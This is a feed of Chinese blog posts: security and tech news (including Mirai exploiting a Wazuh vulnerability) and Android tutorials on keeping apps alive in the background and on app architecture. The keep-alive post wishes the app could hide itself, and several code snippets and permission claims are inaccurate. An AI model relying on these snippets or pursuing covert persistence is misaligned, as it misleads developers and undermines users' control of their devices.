id="英国NCSC发布《迁移到后量子密码学的时间表》指南"><a href="#英国NCSC发布《迁移到后量子密码学的时间表》指南" class="headerlink" title="英国NCSC发布《迁移到后量子密码学的时间表》指南"></a>英国NCSC发布《迁移到后量子密码学的时间表》指南</h1><p>今年3月，英国国家网络安全中心（NCSC）发布了《迁移到后量子密码学的时间表》指南，旨在为向后量子密码学的安全迁移提供路线图以及关键时间节点 – 从2028年的初步探索，到2031年的实质性推进，再到2035年的全面落地。这份指南指出，不同行业在密码学成熟度上的差异，使得迁移方法各有侧重，对于大型组织而言，迁移是对组织整体网络安全韧性的一次全方位重塑。</p><img src="/images/migration-timeline.png" alt="图片加载出错啦!" style="width: 100%" /><h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><ul><li><a class="link"   href="https://oversight.house.gov/release/hearing-wrap-up-u-s-must-update-technology-to-prepare-for-the-quantum-age/" >听证会<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://finance.sina.com.cn/roll/2025-07-03/doc-infeekxr4101820.shtml?froms=ggmp" >量子密码卡<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://www.sahmcapital.com/news/content/sealsq-advances-post-quantum-cryptography-to-defend-bitcoin-and-blockchain-from-looming-quantum-threats-2025-07-02" >SEALSQ<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://www.ncsc.gov.uk/guidance/pqc-migration-timelines" >迁移到后量子密码学的时间表<i class="fas fa-external-link-alt"></i></a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="news" scheme="https://www.fireflycamp.net/categories/news/"/>
    
    
    <category term="Crypto" scheme="https://www.fireflycamp.net/tags/Crypto/"/>
    
  </entry>
  
  <entry>
    <title>周刊：Mirai 僵尸网络利用 Wazuh 安全平台漏洞</title>
    <link href="https://www.fireflycamp.net/2025/06/16/%E5%91%A8%E5%88%8A-250616/"/>
    <id>https://www.fireflycamp.net/2025/06/16/%E5%91%A8%E5%88%8A-250616/</id>
    <published>2025-06-16T04:08:55.000Z</published>
    <updated>2025-06-16T16:21:47.691Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>这里记录每周值得分享的新闻。</p><h1 id="封面图"><a href="#封面图" class="headerlink" title="封面图"></a>封面图</h1><img src="/images/botnets.jpg" alt="图片加载出错啦!" style="width: 100%" /><h1 id="Mirai-僵尸网络利用-Wazuh-安全平台漏洞"><a href="#Mirai-僵尸网络利用-Wazuh-安全平台漏洞" class="headerlink" title="Mirai 僵尸网络利用 Wazuh 安全平台漏洞"></a>Mirai 僵尸网络利用 Wazuh 安全平台漏洞</h1><p>6月，著名 CDN 服务提供商 Akamai 的安全团队发现两个独立的 Mirai 僵尸网络正在利用 Wazuh 安全平台中的严重漏洞（CVE-2025-24016）进行攻击。该 CVE 及相应的 PoC 已于 2月10日 公开纰漏，CVSS 评分为 9.9，影响 Wazuh 4.4.0 至 4.9.1 版本。Wazuh 公司对此矢口否认。</p><img src="/images/wazuh-claim.png" alt="图片加载出错啦!" style="width: 100%" /><p>但是 Akamai 建议尽快升级到 4.9.1 以上的版本。这一事件再次凸显了及时打补丁的重要性以及公开 PoC（漏洞利用代码）的潜在风险。</p><h2 id="Mirai-之乱"><a href="#Mirai-之乱" class="headerlink" title="Mirai 之乱"></a>Mirai 之乱</h2><p>Mirai 僵尸网络技术近些年造就了一系列高强度的 DDoS 攻击。该病毒于 2016 年由一伙想要瘫痪著名游戏《我的世界》服务器的恶趣味年轻人开发。开发者们好心地向全网公开了源码，这为之后的混乱拉开了序幕。</p><img src="/images/mirai-mc.jpg" alt="图片加载出错啦!" style="width: 100%" /><p>犯罪组织和其他威胁行为者在开源的病毒源码上进行二次开发为自己定制犯罪工具，Mirai 的变种们在接下来的 10 年不断制造恶性事件。此次的攻击活动就涉及到了其中的两个变种 – LZRD Mirai 以及 Resbot。值得注意的是，此次攻击是以安全平台为目标，并不像往常瞄准防护薄弱的 IoT 设备。此外，研究者注意到 Resbot 使用到的域名使用了意大利语。</p><h1 id="BADBOX-2-0-僵尸网络入侵家庭物联网设备"><a href="#BADBOX-2-0-僵尸网络入侵家庭物联网设备" class="headerlink" title="BADBOX 2.0 僵尸网络入侵家庭物联网设备"></a>BADBOX 2.0 僵尸网络入侵家庭物联网设备</h1><p>犯罪分子正在通过 BADBOX 2.0 僵尸网络入侵家庭网络中的物联网设备，受感染设备主要是非官方基于 AOSP 二开的安卓系统。</p><img src="/images/android-botnet.webp" alt="图片加载出错啦!" style="width: 100%" /><p>该僵尸网络 1.0 版本吸取 2024 年活动失败的教训后迭代而出的版本。目前已成为有史以来最大的智能电视设备感染网络，其特点是在设备出厂前就被植入了后门恶意软件。</p><h1 id="特朗普政府发布新网络安全行政令"><a href="#特朗普政府发布新网络安全行政令" class="headerlink" title="特朗普政府发布新网络安全行政令"></a>特朗普政府发布新网络安全行政令</h1><p>6月6日，特朗普政府发布了一项新的网络安全行政令。</p><img src="/images/trump-cyber.jpg" alt="图片加载出错啦!" style="width: 100%" /><p>该行政令取消了拜登时期的数字身份证计划，该计划旨在打造一个政府认证的数字身份证系统，特朗普政府认为该系统会被非法移民滥用。与此同时，行政令禁止政府通过网络制裁打击国内的政治对手并推出”网络信任标记”计划，由政府在物联网设备流入市场前对其进行安全认证。</p><h1 id="谷歌发布-Google-AI-Edge-Gallery"><a href="#谷歌发布-Google-AI-Edge-Gallery" class="headerlink" title="谷歌发布 Google AI Edge Gallery"></a>谷歌发布 Google AI Edge Gallery</h1><p>谷歌新发布的安卓应用 Google AI Edge Gallery。</p><img src="/images/google-ai.webp" alt="图片加载出错啦!" style="width: 100%" /><p>这款试验性的应用旨在让用户在手机完全离线的情况下在本地运行 AI 模型。应用支持从 Hugging Face 上面的开源模型。作为 Alpha 版本，该应用已经超过 1.1 万星标🌟。</p><h1 id="上海中山医院尝试脊接口手术"><a href="#上海中山医院尝试脊接口手术" class="headerlink" title="上海中山医院尝试脊接口手术"></a>上海中山医院尝试脊接口手术</h1><p>上海中山医院的外科医生与复旦大学科学家团队近日成功实施了一项微创”脑脊接口”（BSI）手术，使瘫痪患者在术后24小时内恢复了站立和行走能力。</p><img src="/images/nao-ji.webp" alt="图片加载出错啦!" style="width: 100%" /><p>这项手术在上海中山医院完成，是世界上首次通过 BSI 技术让完全性截瘫患者恢复行走能力的案例。</p><h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><ul><li><a class="link"   href="https://wazuh.com/blog/addressing-the-cve-2025-24016-vulnerability/" >Wazuh 推锅声明<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://www.ic3.gov/PSA/2025/PSA250605" >BADBOX 活动<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://www.forrester.com/blogs/president-trump-amends-previous-cybersecurity-executive-orders-here-is-what-you-need-to-know/" >Trump 行政令<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://github.com/google-ai-edge/gallery" >Google AI Edge Gallery<i class="fas fa-external-link-alt"></i></a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="news" scheme="https://www.fireflycamp.net/categories/news/"/>
    
    
    <category term="Botnet" scheme="https://www.fireflycamp.net/tags/Botnet/"/>
    
    <category term="CyberLaw" scheme="https://www.fireflycamp.net/tags/CyberLaw/"/>
    
  </entry>
  
  <entry>
    <title>Android: 保活篇</title>
    <link href="https://www.fireflycamp.net/2025/02/26/Android-%E4%BF%9D%E6%B4%BB%E7%AF%87/"/>
    <id>https://www.fireflycamp.net/2025/02/26/Android-%E4%BF%9D%E6%B4%BB%E7%AF%87/</id>
    <published>2025-02-26T12:59:44.000Z</published>
    <updated>2025-07-22T14:26:23.810Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>安卓并不保证每个应用都能体面地走完自己的生命周期，当资源紧张或者它心情不好时没有实例可以幸免于难。当然，拥有特权的系统级和一些善于自我保护的聪明应用除外…</p><h1 id="构建-Foreground-Service"><a href="#构建-Foreground-Service" class="headerlink" title="构建 Foreground Service"></a>构建 Foreground Service</h1><p>通常情况下，一个Service实例启动后会默默地在后台运行，但如果它调用了这个接口</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">startForeground(id, notification)</span><br></pre></td></tr></table></figure><p>安卓会让它跑到前台，成为一个 Foreground Service，不会轻易地干掉它以及它所属的应用；当然，这也带来一个副作用 – Foreground Service 存活期间需要在通知栏里留下一个持续存在的通知来去让用户知晓其存在。当完成使命后可以调用如下接口在自我了断</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">stopForeground(<span class="literal">true</span>)</span><br><span class="line">stopSelf()</span><br></pre></td></tr></table></figure><p>或者什么也不干等着被用户和其他组件干掉</p><h2 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h2><p>新增一个普通的Service，并在<code>onCreate</code>钩子下设置好通知信息然后调用<code>startForeground()</code></p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="function"><span class="keyword">fun</span> <span class="title">createNotification</span><span class="params">()</span></span>: Notification &#123;</span><br><span class="line">    <span class="keyword">companion</span> <span class="keyword">object</span> &#123;</span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">const</span> <span class="keyword">val</span> CHANNEL_ID = <span class="string">&quot;app_channel&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// Android 8.0 之后需要先构建 NotificationChannel 才能推送通知</span></span><br><span class="line">    <span class="keyword">if</span> (Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.O ) &#123;</span><br><span class="line">        <span class="keyword">val</span> serviceChannel = NotificationChannel(</span><br><span class="line">            CHANNEL_ID,</span><br><span class="line">            <span class="string">&quot;App Channel&quot;</span>,</span><br><span class="line">            NotificationManager.IMPORTANCE_DEFAULT</span><br><span class="line">        )</span><br><span class="line">        <span class="keyword">val</span> manager = getSystemService(NotificationManager::<span class="keyword">class</span>.java)</span><br><span class="line">        manager.createNotificationChannel(serviceChannel)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">val</span> intent = Intent(<span class="keyword">this</span>, MainActivity::<span class="keyword">class</span>.java)</span><br><span class="line">    <span class="keyword">val</span> pendingIntent = PendingIntent.getActivity(<span class="keyword">this</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        intent,</span><br><span class="line">        PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)</span><br><span class="line">    <span class="keyword">return</span> NotificationCompat.Builder(<span class="keyword">this</span>, CHANNEL_ID)</span><br><span class="line">        .setContentTitle(<span class="string">&quot;Foreground Service&quot;</span>)</span><br><span class="line">        .setContentText(<span class="string">&quot;Foreground service starts&quot;</span>)</span><br><span class="line">        .setContentIntent(pendingIntent)</span><br><span class="line">        .build()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">override</span> <span class="function"><span class="keyword">fun</span> <span class="title">onCreate</span><span class="params">()</span></span> &#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">val</span> notification = createNotification()</span><br><span class="line">    startForeground(<span class="number">1</span>,  notification)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">override</span> <span class="function"><span class="keyword">fun</span> <span class="title">onStartCommand</span><span class="params">(...)</span></span> &#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">return</span> START_STICKY <span class="comment">// 如果这个服务因为资源原因被干掉了系统会在之后重启它</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在Manifest文件里声明一下需要的权限以及Service本身</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">uses-permission</span> <span class="attr">android:name</span>=<span class="string">&quot;android.permission.FOREGROUND_SERVICE&quot;</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">application</span> <span class="attr">...</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">service</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:name</span>=<span class="string">&quot;.ForegroundService&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:enabled</span>=<span class="string">&quot;true&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:exported</span>=<span class="string">&quot;false&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">android:foregroundServiceType</span>=<span class="string">&quot;mediaPlayback&quot;</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">application</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h2><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MainActivity</span> : <span class="type">AppCompatActivity</span>() &#123;</span><br><span class="line">    <span class="keyword">override</span> <span class="function"><span class="keyword">fun</span> <span class="title">onCreate</span><span class="params">(savedInstanceState: <span class="type">Bundle</span>?)</span></span> &#123;</span><br><span class="line">        <span class="keyword">super</span>.onCreate(savedInstanceState)</span><br><span class="line">        enableEdgeToEdge()</span><br><span class="line"></span><br><span class="line">        startForegroundService(Intent(<span class="keyword">this</span>, ForegroundService::<span class="keyword">class</span>.java))</span><br><span class="line">        finish()</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>startForegroundService()</code>假定开始的服务是前台服务，被启动的服务在5秒内没有调用<code>startForeground()</code>则会被停止并且报错。</p><h2 id="终止"><a href="#终止" class="headerlink" title="终止"></a>终止</h2><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Intent serviceIntent = new Intent(<span class="keyword">this</span>, ForegroundService::<span class="keyword">class</span>.java)</span><br><span class="line">stopService(serviceIntent)</span><br></pre></td></tr></table></figure><h1 id="获取-Wake-Lock"><a href="#获取-Wake-Lock" class="headerlink" title="获取 Wake Lock"></a>获取 Wake Lock</h1><p>由电池供电的安卓设备在长时间未被用户使用后会自动进入挂起状态以延长电池寿命，该状态下CPU停止执行指令。为了不被停止，应用可以尝试获取 Wake Lock 阻止设备进入挂起状态。同一时间可以有多个应用持有 Wake Lock，且有应用持有 Wake Lock 时设备不会被挂起。</p><h2 id="Wake-Lock-类型"><a href="#Wake-Lock-类型" class="headerlink" title="Wake Lock 类型"></a>Wake Lock 类型</h2><p>自安卓4.2之后只支持 <code>PARTIAL_WAKE_LOCK</code> 一种类型，此类 Wake Lock 只能保证CPU不会被暂停，但不能保证屏幕不会被熄灭。需要保持屏幕不灭需要附上</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">window.addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)</span><br></pre></td></tr></table></figure><h2 id="声明权限"><a href="#声明权限" class="headerlink" title="声明权限"></a>声明权限</h2><p><code>WAKE_LOCK</code>是一项普通权限，只用在Manifest文件里声明</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">uses-permission</span> <span class="attr">android:name</span>=<span class="string">&quot;android.permission.WAKE_LOCK&quot;</span> /&gt;</span></span><br></pre></td></tr></table></figure><h2 id="获取"><a href="#获取" class="headerlink" title="获取"></a>获取</h2><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">val</span> wakeLock: PowerManager.WakeLock =</span><br><span class="line">        (getSystemService(Context.POWER_SERVICE) <span class="keyword">as</span> PowerManager).run &#123;</span><br><span class="line">            newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, <span class="string">&quot;MyApp::MyWakelockTag&quot;</span>).apply &#123;</span><br><span class="line">                acquire(MAX_HOLD_TIME_IN_MS)</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure><h2 id="释放"><a href="#释放" class="headerlink" title="释放"></a>释放</h2><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wakelock.release()</span><br></pre></td></tr></table></figure><h1 id="对抗-Doze-Mode"><a href="#对抗-Doze-Mode" class="headerlink" title="对抗 Doze Mode"></a>对抗 Doze Mode</h1><p><code>WAKE_LOCK</code>是一项普通权限，这意味着应用在启动后不需要弹窗向用户获取该权限，用户很容易忽视它。再加上<code>acquire()</code>可以无期限的持有 Wake Lock，应用很容易滥用这个权限，对设备能耗造成负担。</p><p>安卓6.0之后出台了 Doze Mode（低能耗模式，注意与低电量模式是两个概念）来取进一步的保护电池，延长续航时间。使用电池电量的设备长时间没有被用户使用会进入 Doze Mode，该模式下网络和后台活动会进入 休眠-维护 的循环，休眠期间的活动会被延迟到维护期间完成，随着时间的推进休眠期会越来越长。<br><img src="/images/doze-mode.png" alt="图片溜走了"><br>当被用户使用或者接电源时设备会退出 Doze Mode 。持有 Wake Lock 的应用仍会受其约束。</p><h2 id="无视-Doze-Mode"><a href="#无视-Doze-Mode" class="headerlink" title="无视 Doze Mode"></a>无视 Doze Mode</h2><p>安卓6.0后应用可以获取<code>REQUEST_IGNORE_BATTERY_OPTIMIZATIONS</code>权限来脱离的 Doze Mode 影响</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">uses-permission</span> <span class="attr">android:name</span>=<span class="string">&quot;android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS&quot;</span>/&gt;</span></span><br></pre></td></tr></table></figure><p>这是一项危险权限，除了在Manifest里声明外，还需要在程序里主动向用户请求</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.M) &#123;</span><br><span class="line">    <span class="keyword">val</span> intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS)</span><br><span class="line">    intent.<span class="keyword">data</span> = Uri.parse(<span class="string">&quot;package:<span class="variable">$packageName</span>&quot;</span>)</span><br><span class="line">    startActivity(intent)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h1><p>上述方案虽然实现简单，但由于创建 Foreground Service 带来的强制通知以及申请无视 Doze Mode 带来的弹窗请求，程序并不能很好的隐藏自己，不够优雅。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="development" scheme="https://www.fireflycamp.net/categories/development/"/>
    
    
    <category term="Android" scheme="https://www.fireflycamp.net/tags/Android/"/>
    
  </entry>
  
  <entry>
    <title>Android: 架构篇</title>
    <link href="https://www.fireflycamp.net/2025/01/14/Android-%E6%9E%B6%E6%9E%84%E7%AF%87/"/>
    <id>https://www.fireflycamp.net/2025/01/14/Android-%E6%9E%B6%E6%9E%84%E7%AF%87/</id>
    <published>2025-01-14T05:19:38.000Z</published>
    <updated>2026-04-14T16:20:27.306Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>同为Linux系操作系统，安卓与其他的兄弟姐妹们大相径庭。安卓是为嵌入式设备设计的，这些设备的各种资源比如内存、算力、电量都很紧张，这使得安卓除了系统内核外有着独特的软件架构</p><h1 id="安卓系统层级结构"><a href="#安卓系统层级结构" class="headerlink" title="安卓系统层级结构"></a>安卓系统层级结构</h1><p>安卓可以被抽象成一个简略的层级结构</p><ul><li>内核层：针对嵌入式设备修改过的Linux内核，有特权的代码</li><li>系统服务层：一大堆服务于系统的软件，比如驱动、内核模块、守护进程，以及一些编程常用的标准库</li><li>ARE层（Android Runtime Environment）：提供安卓应用的运行环境，包括安卓开发用到的库</li><li>应用层：用户能直接使用的应用</li></ul><h1 id="安卓应用解剖"><a href="#安卓应用解剖" class="headerlink" title="安卓应用解剖"></a>安卓应用解剖</h1><p>和桌面应用的不同，安卓应用并不是一个简单的进程，也没有类似Java<code>public static void main</code>以及C++<code>int main</code>的程序入口。其结构更像是一个Web应用，由一堆散装的组件蓝图构成，然后由一个系统服务 – Zygote – 根据需要进行生成、管理以及销毁。</p><h2 id="四大组件类型"><a href="#四大组件类型" class="headerlink" title="四大组件类型"></a>四大组件类型</h2><h3 id="Activity"><a href="#Activity" class="headerlink" title="Activity"></a>Activity</h3><p>每个Activity组件负责一个单独的可交互的UI页面，这些页面由一个个小部件构成。安卓只保证Activity在对应页面可见时存在。<br>Activity的生命周期长这样</p><pre class="mermaid">stateDiagram-v2    [*] --> Created: onCreate    Created --> Started: onStart    Created --> Destroyed: onDestroy    Started --> Running: onResume    Running --> Started: onPause    Started --> Created: onStop</pre><ul><li><code>onCreate</code>：这个时间点页面刚刚被生成，适合初始化页面相关变量以及视图</li><li><code>onDestroy</code>：页面实例被销毁，安卓不保证App退出的时候这个方法一定被调用，因为有时应用是直接被<code>kill -9</code>干掉的</li><li><code>onStart</code>：页面已被绘制出来但无法接受用户输入，比如中间跳出弹窗或者其他app页面的时候</li><li><code>onResume</code>：页面被聚焦且开始和用户交互了</li></ul><h3 id="Service"><a href="#Service" class="headerlink" title="Service"></a>Service</h3><p>Service可以被看作成一个没有UI的Activity，但没有除了<code>onCreated</code>以及<code>onDestroyed</code>之外的方法<br>Service有两个子类 – Bounded Service 和 Started Service</p><h4 id="Started-Service"><a href="#Started-Service" class="headerlink" title="Started Service"></a>Started Service</h4><p>多用于完成一次性的任务，比如放个东西进数据库或者发个信息到网上</p><h4 id="Bounded-Service"><a href="#Bounded-Service" class="headerlink" title="Bounded Service"></a>Bounded Service</h4><p>类似Linux的pipe，安卓专属的IPC机制，提供一个半双工信道（支持双向传输但两个方向不能同时）– Binder – 来支持两个端点的通信，可跨应用</p><h3 id="Broadcast-Receiver"><a href="#Broadcast-Receiver" class="headerlink" title="Broadcast Receiver"></a>Broadcast Receiver</h3><p>类似JS的事件侦听器，可以捕获重要的系统事件，比如可以在系统启动后广播的<code>android.intent.action.BOOT_COMPLETED</code>注册一个Receiver来实现开机自启</p><h3 id="Content-Provider"><a href="#Content-Provider" class="headerlink" title="Content Provider"></a>Content Provider</h3><p>本质上是数据源（内容）上方的一层REST API，可以被用来共享一个打开的文件到另一个组件，有增删改查四个接口<code>insert(), delete(), update(), query()</code>外加一个内容数据类型查询<code>getType()</code></p><h2 id="Manifest文件"><a href="#Manifest文件" class="headerlink" title="Manifest文件"></a>Manifest文件</h2><p>所有组件必须在一个叫<code>AndroidManifest.xml</code>的文件里声明，比如</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">manifest</span> <span class="attr">...</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">application</span></span></span><br><span class="line"><span class="tag">    <span class="attr">android:label</span>=<span class="string">&quot;@string/app&quot;</span>&gt;</span></span><br><span class="line">    ...&gt;</span><br><span class="line">    <span class="tag">&lt;<span class="name">activity</span></span></span><br><span class="line"><span class="tag">      <span class="attr">android:name</span>=<span class="string">&quot;.MyActivity&quot;</span></span></span><br><span class="line"><span class="tag">      <span class="attr">android:label</span>=<span class="string">&quot;@string/my&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">activity</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">application</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">manifest</span>&gt;</span>”</span><br></pre></td></tr></table></figure><h2 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h2><p>Context是容纳Component或者是App的容器，可以在传参的时候用来指定组件和应用</p><h3 id="Component-Context"><a href="#Component-Context" class="headerlink" title="Component Context"></a>Component Context</h3><p>Activity和Service都继承于Context类，可以通过<code>this</code>直接获取目前组件实例对应的Context。此外，还可以通过<code>startActivity()</code>以及<code>startService()</code>等方法来唤醒其他的Activity或是Service</p><h3 id="Application-Context"><a href="#Application-Context" class="headerlink" title="Application Context"></a>Application Context</h3><p>在应用启动后会产生一个ApplicationContext单例，其生命周期与应用的生命周期相绑定，且在任意其他Context下都可以调用<code>Context.getApplicationContext()</code>被获取到。但与组件Context不同的是，其startActivity方法一般无法被用来唤醒Activity，强行调用会出现报错。<br>可以新建一个类去继承Application Context</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyApp</span> : <span class="type">Application</span>() &#123;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改一下Manifest文件让系统知道这个class代表Application</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;manifest ...&gt;</span><br><span class="line">  &lt;application</span><br><span class="line">    android:name=<span class="string">&quot;.MyApp&quot;</span></span><br><span class="line">    ...&gt;</span><br><span class="line">    ...</span><br><span class="line">  &lt;/application&gt;</span><br><span class="line">&lt;/manifest&gt;</span><br></pre></td></tr></table></figure><h2 id="Intent"><a href="#Intent" class="headerlink" title="Intent"></a>Intent</h2><p>Intent可以被看作是组件之间交换信息的数据包，包含了发送方期望请求方完成的操作以及一些参数。比如在一个组件Context里唤醒另一个组件时就需要构建一个Intent</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">this</span>.startActivity(</span><br><span class="line">    Intent(<span class="keyword">this</span>, TargetActivity::<span class="keyword">class</span>.java)</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>Intent可分为显式和隐式。显式Intent明确指定了需要互动的组件，比如在上面的例子里系统收到该请求后会找到并唤醒当前Context（this）从属的App中的TargetActivity组件。隐式Intent则不会对AppContext以及组件进行限定，而是通过其他组件在Manifest文件里声明的IntentFilter来发送给匹配的组件</p><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">this</span>.startActivity( Intent(Intent.ACTION_EDIT) ) <span class="comment">// 这里没有传入Context</span></span><br></pre></td></tr></table></figure><figure class="highlight kotlin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span 